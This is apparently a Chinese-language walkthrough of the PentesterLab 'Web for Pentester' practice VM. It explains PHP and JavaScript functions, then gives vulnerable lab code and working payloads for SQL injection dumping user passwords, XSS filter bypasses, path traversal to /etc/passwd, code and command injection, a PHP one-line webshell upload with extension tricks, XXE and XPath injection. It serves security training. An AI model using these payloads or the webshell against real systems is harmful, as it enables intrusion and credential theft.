环境搭建 ISO镜像:web_for_pentester_i386.iso
新建虚拟机添加web_for_pentester_i386.iso镜像,桥接网络即可。
基础知识 preg_match() preg_match() 函数用于进行正则表达式匹配,成功返回 1 ,否则返回 0 。
语法: 1 int preg_match( string pattern, string subject [, array matches ] )
参数说明:
参数
说明
pattern
正则表达式
subject
需要匹配检索的对象
matches
可选,存储匹配结果的数组, matches[0] 将包含与整个模式匹配的文本 matches[1] 将包含与第一个捕获的括号中的子模式所匹配的文本,以此类推
preg_replace() preg_replace() 函数用于正则表达式的搜索和替换。
语法: 1 mixed preg_replace( mixed pattern, mixed replacement, mixed subject [, int limit ] )
参数说明:
参数
说明
pattern
正则表达式
replacement
替换的内容
subject
需要匹配替换的对象
limit
可选,指定替换的个数,如果省略 limit 或者其值为 -1,则所有的匹配项都会被替换
特别说明 当Pattern参数使用/e修正符时,preg_replace函数会将replacement参数当作 PHP代码执行,那么,针对此种情况,当replacement内容为用户可控数据时,就可能导致命令注入攻击漏洞的形成。
正则表达式中的模式修正符 模式修正符就是字母,只不过这些在模式修正符的应用之中有特殊的含义。下面我来看看都有哪些模式修正符,请看下表:
模式修正符
说明
i
表示在和模式进行匹配进不区分大小写
m
将模式视为多行,使用^和$表示任何一行都可以以正则表达式开始或结束
s
如果没有使用这个模式修正符号,元字符中的”.”默认不能表示换行符号,将字符串视为单行
x
表示模式中的空白忽略不计
e
正则表达式必须使用在preg_replace替换字符串的函数中时才可以使用
A
以模式字符串开头,相当于元字符^
Z
以模式字符串结尾,相当于元字符$
U
正则表达式的特点:就是比较“贪婪”,使用该模式修正符可以取消贪婪模式
prompt() prompt() 方法用于显示可提示用户进行输入的对话框
语法: 1 prompt(text,defaultText)
参数说明:
参数
描述
text
可选。要在对话框中显示的纯文本(而不是 HTML 格式的文本)。
defaultText
可选。默认的输入文本。
confirm() confirm() 方法用于显示一个带有指定消息和 OK 及取消按钮的对话框。
语法:
参数说明:
参数
描述
message
要在 window 上弹出的对话框中显示的纯文本(而非 HTML 文本)
fromCharCode() fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串
语法: 1 String.fromCharCode(numX,numX,...,numX)
参数说明:
参数
描述
numX
必需。一个或多个 Unicode 值,即要创建的字符串中的字符的 Unicode 编码。
eval(string) eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。
语法:
参数说明:
参数
描述
string
必需。要计算的字符串,其中含有要计算的 JavaScript 表达式或要执行的语句。
Document.write() write() 方法可向文档写入 HTML 表达式或 JavaScript 代码。 可列出多个参数(exp1,exp2,exp3,…) ,它们将按顺序被追加到文档中。
语法: 1 document.write(exp1,exp2,exp3,....)
location.hash hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)。
假设当前的URL是http://www.uknowsec/test.htm#PART2: 1 2 3 4 5 <script> document.write(location.hash); </script>
以上实例输出结果:
#part2
substring() substring() 方法用于提取字符串中介于两个指定下标之间的字符。
语法: 1 stringObject.substring(start,stop)
参数说明:
参数
描述
start
必需。一个非负的整数,规定要提取的子串的第一个字符在 stringObject 中的位置。
stop
可选。一个非负的整数,比要提取的子串的最后一个字符在 stringObject 中的位置多 1。如果省略该参数,那么返回的子串会一直到字符串的结尾。
strstr() strstr() 函数搜索字符串在另一字符串中的第一次出现。 注释:该函数是二进制安全的。 注释:该函数对大小写敏感。如需进行不区分大小写的搜索,请使用 stristr() 函数。
语法: 1 strstr(string,search,before_search)
参数说明:
参数
描述
string
必需。规定被搜索的字符串。
search
必需。规定所搜索的字符串。如果此参数是数字,则搜索匹配此数字对应的 ASCII 值的字符。
before_search
可选。默认值为 “false” 的布尔值。如果设置为 “true”,它将返回 search 参数第一次出现之前的字符串部分。
addslashes() addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
语法:
参数说明:
参数
描述
string
必需。规定要转义的字符串。
create_function()代码注入 测试环境版本: apache +php 5.2、apache +php 5.3
有问题的代码: 1 2 3 4 5 6 7 8 9 10 11 12 <?php //02-8.php?id=2;}phpinfo();/* $id=$_GET['id']; $str2='echo '.$a.'test'.$id.";"; echo $str2; echo "<br/>"; echo "=============================="; echo "<br/>"; $f1 = create_function('$a',$str2); echo "<br/>"; echo "=============================="; ?>
利用方法: 1 http://localhost/libtest/02-8.php?id=2;}phpinfo();/*
实现原理: 由于id=2;}phpinfo();/* 执行函数为:
1 2 3 4 源代码: function fT($a) { echo "test".$a; }
1 2 3 4 5 注入后代码: function fT($a) { echo "test";} phpinfo();/*;//此处为注入代码。 }
trim() trim() 函数移除字符串两侧的空白字符或其他预定义字符。
相关函数: ltrim() - 移除字符串左侧的空白字符或其他预定义字符 rtrim() - 移除字符串右侧的空白字符或其他预定义字符
语法
参数说明:
参数
描述
string
必需。规定要检查的字符串。
charlist
可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符: “\0” - NULL “\t” - 制表符 “\n” - 换行 “\x0B” - 垂直制表符 “\r” - 回车 “ “ - 空格
htmlentities() htmlentities() 函数把字符转换为 HTML 实体。
语法 1 htmlentities(string,flags,character-set,double_encode)
参数说明:
参数
描述
string
必需。规定要转换的字符串。
flags
可选。规定如何处理引号、无效的编码以及使用哪种文档类型。
character-set
可选。一个规定了要使用的字符集的字符串。
double_encode
可选。布尔值,规定是否编码已存在的 HTML 实体。 TRUE - 默认。将对每个实体进行转换。FALSE - 不会对已存在的 HTML 实体进行编码。
header() 函数向客户端发送原始的 HTTP 报头。
语法: 1 header(string,replace,http_response_code)
参数说明:
参数
描述
string
必需。规定要发送的报头字符串。
replace
可选。指示该报头是否替换之前的报头,或添加第二个报头。默认是 true(替换)。false(允许相同类型的多个报头)。
http_response_code
可选。把 HTTP 响应代码强制为指定的值。(PHP 4 以及更高版本可用)
SQL injections Example 1 1 $sql = "SELECT * FROM users where name='"; $sql .= $_GET["name"]."'"; $result = mysql_query($sql); if ($result) { ?>
字符类型的注入,无过滤 用来练习手注是个不错的题目
判断注入点 1 2 3 4 5 http://192.168.1.105/sqli/example1.php?name=root' 页面返回异常 http://192.168.1.105/sqli/example1.php?name=root' and 1=1%23 页面返回正常 http://192.168.1.105/sqli/example1.php?name=root' and 1=2%23 页面返回正常
判断字段长 1 2 3 http://192.168.1.105/sqli/example1.php?name=root' order by 5%23 页面返回正常 http://192.168.1.105/sqli/example1.php?name=root' order by 6%23 页面返回异常
推断出这个表中有5个字段
猜解当前数据库名; 1 http://192.168.1.105/sqli/example1.php?name=root' union select 1,database(),3,4,5%23
猜解所有的数据库 1 http://192.168.1.105/sqli/example1.php?name=root' union select 1,SCHEMA_NAME,3,4,5 from information_schema.SCHEMATA%23
猜解所有的表名 1 http://192.168.1.105/sqli/example1.php?name=root' union select 1,table_name,3,4,5 from information_schema.tables%23
猜解当前数据库(exercises)的所以表名 1 http://192.168.1.105/sqli/example1.php?name=root' union select 1,table_name,3,4,5 from information_schema.tables where table_schema= database()%23
猜解当前数据库的user的字段名 1 http://192.168.1.105/sqli/example1.php?name=root' union select 1,COLUMN_NAME,2,4,5 from information_schema.COLUMNS where table_name = 'users'%23
判断版本号 1 http://192.168.1.105/sqli/example1.php?name=root' union select 1,version(),2,4,5%23
判断用户名 1 2 3 4 http://192.168.1.105/sqli/example1.php?name=root' union select 1,user(),2,4,5%23 http://192.168.1.105/sqli/example1.php?name=root' union select 1,current_user(),2,4,5%23 http://192.168.1.105/sqli/example1.php?name=root' union select 1,system_user(),2,4,5%23 http://192.168.1.105/sqli/example1.php?name=root' union select 1,session_user(),2,4,5%23
读取值 1 http://192.168.1.105/sqli/example1.php?name=root' union select 1,name,passwd,4,5 from users%23
SQLMAP 1 python sqlmap.py -u http://192.168.1.105/sqli/example1.php?name=root --dbs
Example 2 1 if (preg_match('/ /', $_GET["name"])) { die("ERROR NO SPACE"); } $sql = "SELECT * FROM users where name='"; $sql .= $_GET["name"]."'"; $result = mysql_query($sql);
与example1差不多,过滤了空格,语句中存现空格就会报错
mysql注入绕过空格过滤的方法:
1、水平制表(HT) url编码:%09
2、注释绕过空格 /注释 /
Payload 1 2 3 http://192.168.1.105/sqli/example2.php?name=root'%09union%09select%091,name,passwd,4,5%09from%09users%23 %09替换空格绕过 http://192.168.1.105/sqli/example2.php?name=root'/**/union/**/select/**/1,name,passwd,4,5/**/from/**/users%23 /**/替换空格绕过
SQLMAP 调用space2comment.py 用“/**/”替换空格符绕过1 python sqlmap.py -u http://192.168.1.105/sqli/example3.php?name=root --dbs --tamper=space2comment.py
Example 3 1 if (preg_match('/\s+/', $_GET["name"])) { die("ERROR NO SPACE"); } $sql = "SELECT * FROM users where name='"; $sql .= $_GET["name"]."'";
在example2的基础上,\s匹配任何空白字符,包括空格、制表符、换页符等,全部过滤掉 可以使用example2中 /注释 / 绕过过滤
Payload 1 http://192.168.1.105/sqli/example2.php?name=root'/**/union/**/select/**/1,name,passwd,4,5/**/from/**/users%23
SQLMAP 调用space2comment.py 用“/**/”替换空格符绕过
1 python sqlmap.py -u http://192.168.1.105/sqli/example3.php?name=root --dbs --tamper=space2comment.py
Example 4 1 $sql="SELECT * FROM users where id="; $sql.=mysql_real_escape_string($_GET["id"])." "; $result = mysql_query($sql);
数值型的注入,过滤了单引号等,对数值型无效
Payload 1 2 http://192.168.1.105/sqli/example4.php?id=2 or 1=1 http://192.168.1.105/sqli/example4.php?id=2 union select 1,name, passwd,4,5 from users
SQLMAP 1 python sqlmap.py -u http://192.168.1.105/sqli/example4.php?id=2 --dbs
Example 5 1 if (!preg_match('/^[0-9]+/', $_GET["id"])) { die("ERROR INTEGER REQUIRED"); }
与前面类似,以一个数字开头的,后面可添加构造的sql语句进行攻击测试
Payload 1 2 http://192.168.1.105/sqli/example4.php?id=2 or 1=1 http://192.168.1.105/sqli/example4.php?id=2 union select 1,name, passwd,4,5 from users
SQLMAP 1 python sqlmap.py -u http://192.168.1.105/sqli/example5.php?id=2 --dbs
Example 6 1 if (!preg_match('/[0-9]+$/', $_GET["id"])) { die("ERROR INTEGER REQUIRED"); }
正则表达式值确保了参数id是以一个数字结尾的.他不能确保id参数的开头是合法的.
你可以变通一下前面说到的检测方法.你只需要在你的payload后面加上数字.比如你可以这样:1 or 1=1 # 123
Payload 1 2 3 http://192.168.1.105/sqli/example6.php?id=2 or 1=1-- - 1 http://192.168.1.105/sqli/example6.php?id=2 or 1=1# 1 http://192.168.1.105/sqli/example6.php?id=2 union select 1,name,passwd,4,5 from users-- - 123
SQLMAP 1 python sqlmap.py -u http://192.168.1.105/sqli/example6.php?id=2 --dbs
Example 7 1 if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) { die("ERROR INTEGER REQUIRED"); }
正则表达式将检查开始和结束的字符串是一个数字。然而,正则表达式中有一个修饰符/m。它只检查一行,不关心下一行有开始还是结束用数字。所以我们可以绕过它采用id =2\npayload。我们需要把\n转换成十六进制。就是%a0
Payload 1 http://192.168.1.110/sqli/example7.php?id=2%0aunion%0aselect%0a1,name,passwd,4,5%0afrom%0ausers%23
SQLMAP 1 python sqlmap.py -u http://192.168.1.110/sqli/example7.php?id=2%0a
XSS Example 1 没有做任何过滤
Payload 1 <script>alert(1)</script>
Example 2 1 2 preg_replace("/<script>/","",$name); preg_replace("/<\/script>/","",$name);
过滤script标签,利用大写绕过
Payload 1 <SCRIPT>alert(1)</SCRIPT>
Example 3 1 2 preg_replace("/<script>/i","",$name); preg_replace("/<\/script>/i","",$name);
过滤script标签,且使用模式修正符i,忽略大小写。
Payload 1 <scr<script>ipt>alert(1)</sc</script>ript>
Example 4 1 preg_match('/script/i',$_GET["name"])
过滤script字符,且使用模式修正符i,忽略大小写。 利用img标签
Payload 1 <img src=1 onerror=alert(1)>
Example 5 1 preg_match('/alert/i',$_GET["name"]))
过滤alert字符,且使用模式修正符i,忽略大小写 利用prompt(),confirm(),String.fromCharCode()函数实现弹框
Payload 1 2 3 <script>prompt(1);</script> <script>confirm(1);</script> <script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>
Example 6 1 2 3 <script> var $a="<?php echo $_GET["name"];?>; </script>
有源码可以看出,GET方式得到的参数直接发送到javascript代码中,所以在发送Payload的时候不需要添加script标签,只需要发送需要只执行的javascript代码即可。
Payload
构成以下代码,实现弹窗1 2 3 <script> var $a= "hacker";alert(1);//"; </script>
Example 7 1 2 3 <script> var $a='<?php echo htmlentities($_GET["name"]);?>'; </script>
使用htmlentities进行HTML编码,默认编码双引号
Payload
Example 8 1 2 3 4 5 6 <?php if (isset($_POST["name"])){ echo "HELLO ".htmlentities($_POST["name"]) } ?> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
利用$_SERVER[‘PHP_SELF’]获取当前页面地址
假设该页面地址为:1 http://192.168.1.110/xss/example8.php
访问该页面,得到的表单 html 代码如下:1 <form method="post" action="/xss/example8.php">
Payload 1 /"><script>alert(1)</script>
Example 9 1 2 3 <script> document.write(location.hash.substring(1)); </script>
Payload 1 #<script>alert(1)</script>
Directory traversal Example 1 简单目录遍历
Payload 1 http://192.168.1.10/dirtrav/example1.php?file=../../../../../../../etc/passwd
Example 2 1 2 if(!(strstr($file,"/var/www/files/"))) die();
检测是否包含/var/www/files/字符串
Payload 1 http://192.168.1.110/dirtrav/example2.php?file=/var/www/files/../../../../../../../etc/passwd
Example 3 1 $path = preg_replace('/\x00.*/',"",$path);
使用%00截断后面字符串,读取passwd文件
Payload 1 /dirtrav/example3.php?file=../../../../../../../etc/passwd%00
File Include Example 1
Payload 1 http://192.168.1.110/fileincl/example2.php?page=intro.php
读取intro.php文件
Example 2 1 2 $file = preg_replace('/\x00.*/',"",$file); include($file);
使用%00截断后面字符串
Payload 1 http://192.168.1.110/fileincl/example2.php?page=intro.php%00
Code injection Example 1 1 2 3 4 5 <?php $str="echo \"Hello ".$_GET['name']."!!!\";"; eval($str); ?>
使用了反斜杠【\】将echo后面的内容给转义了。这样做与加addslashes()函数进行过滤的意思是一样的 可以通过${${ }}这样的方式绕过,从而继续执行代码。
Payload 1 http://192.168.56.101/codeexec/example1.php?name=${${phpinfo()}}
Example 2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php class User{ public $id, $name, $age; function __construct($id, $name, $age){ $this->name= $name; $this->age = $age; $this->id = $id; } } require_once('../header.php'); require_once('../sqli/db.php'); $sql = "SELECT * FROM users "; $order = $_GET["order"]; $result = mysql_query($sql); if ($result) { while ($row = mysql_fetch_assoc($result)) { $users[] = new User($row['id'],$row['name'],$row['age']); } if (isset($order))<span style="color:#FF0000;"> { usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');')); }</span> } ?> <table class='table table-striped' > <tr> <th><a href="example2.php?order=id">id</th> <th><a href="example2.php?order=name">name</th> <th><a href="example2.php?order=age">age</th> </tr> <?php foreach ($users as $user) { echo "<tr>"; echo "<td>".$user->id."</td>"; echo "<td>".$user->name."</td>"; echo "<td>".$user->age."</td>"; echo "</tr>"; } echo "</table>"; ?>
create_function()的不当使用造成代码注入,可以这样构造);}phpinfo();// 执行我们的命令,);}是闭合了前面的代码,而//则是将后面的内容注释掉
Payload 1 http://192.168.56.101/codeexec/example2.php?order=id);}phpinfo();//
Example 3 1 2 3 <?php echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]); ?>
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。 因此当满足了在语句的构造中有/e修正符,就有可能引起php代码注入的风险。可以如此构造new=phpinfo()&pattern=/lamer/e&base=Hello lamer
Payload 1 http://192.168.56.101/codeexec/example3.php?new=phpinfo()&pattern=/lamer/e&base=Hello lamer
Example 4 1 2 3 4 5 <?php // ensure name is not empty assert(trim("'".$_GET['name']."'")); echo "Hello ".htmlentities($_GET['name']); ?>
如此构造即可:hacker’.phpinfo().’
Payload 1 http://192.168.56.101/codeexec/example4.php?name=hacker'.phpinfo().'
Commands injection Example 1 1 2 3 <?php system("ping -c 2 ".$_GET['ip']); ?>
Payload 1 http://192.168.56.101/commandexec/example1.php?ip=127.0.0.1|id
Example 2 1 2 3 4 5 6 <?php if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) { die("Invalid IP address"); } system("ping -c 2 ".$_GET['ip']); ?>
正则表达式中有一个修饰符/m。它只检查一行,不关心下一行,此时我们可以利用%0a(换行符)绕过
Payload 1 http://192.168.56.101/commandexec/example2.php?ip=127.0.0.1%0aid
Example 3 1 2 3 4 5 6 <?php if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) { header("Location: example3.php?ip=127.0.0.1"); } system("ping -c 2 ".$_GET['ip']); ?>
利用Location重定向到example3.php?ip=127.0.0.1,这里可以是用curl、burpsuite和nc查看回显
Payload 1 echo -e "GET /commandexec/example3.php?ip=127.0.0.1;id HTTP/1.1\r\nHost: 192.168.56.101\r\nConnection: close\r\n" | nc 192.168.56.101 80
1 curl http://192.168.56.101/commandexec/example3.php?ip=127.0.0.1|ls
File Upload Example 1 直接上传一句话木马1.php。
Payload 1 2 1.php <?php @eval($_POST['c']);?>
Example 2 直接上传一句话木马1.php。失败。
把上传文件的文件名修改为1.php.aaaa 对于apache这样的服务器,碰到aaaa发现是不认识的文件名后缀,然后就会跳过这个文件名,解析下一个文件名。 成功上传
根据php版本也可以尝试.php3,.php4,.php5此类后缀名进行上传。
Payload 1 2 1.php.aaaaa <?php @eval($_POST['c']);?>
1 2 1.php3 <?php @eval($_POST['c']);?>
XML attacks Example 1 1 2 3 4 <?php $xml=simplexml_load_string($_GET['xml']); print_r((string)$xml); ?>
直接读取/etc/passwd
Payload 1 <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><test>&xxe;</test>
Url编码
1 http://192.168.1.114/xml/example1.php?xml=%3C%21DOCTYPE%20test%20%5B%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%3E%5D%3E%3Ctest%3E%26xxe%3B%3C%2ftest%3E
Example 2 1 2 3 4 5 6 7 8 9 10 11 <?php require_once("../header.php"); $x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>"; $xml=simplexml_load_string($x); $xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message"; $res = ($xml->xpath($xpath)); while(list( ,$node) = each($res)) { echo $node; } ?>
Payload 1 2 3 4 5 http://192.168.1.114/xml/example2.php?name=hacker' 加单引号报错 http://192.168.1.114/xml/example2.php?name=hacker'or '1'='1 得到两个name值 http://192.168.1.114/xml/example2.php?name=hacker'or 1=1]/parent::*/child::node()%00 得到所有值
Reference [PentesterLab] Web for Pentester - FINAL 慎用preg_replace危险的/e修饰符(一句话后门常用) PHP create_function()代码注入 (执行脚本函数) Web渗透测试攻略(上) Web渗透测试攻略(中) Web渗透测试攻略(下)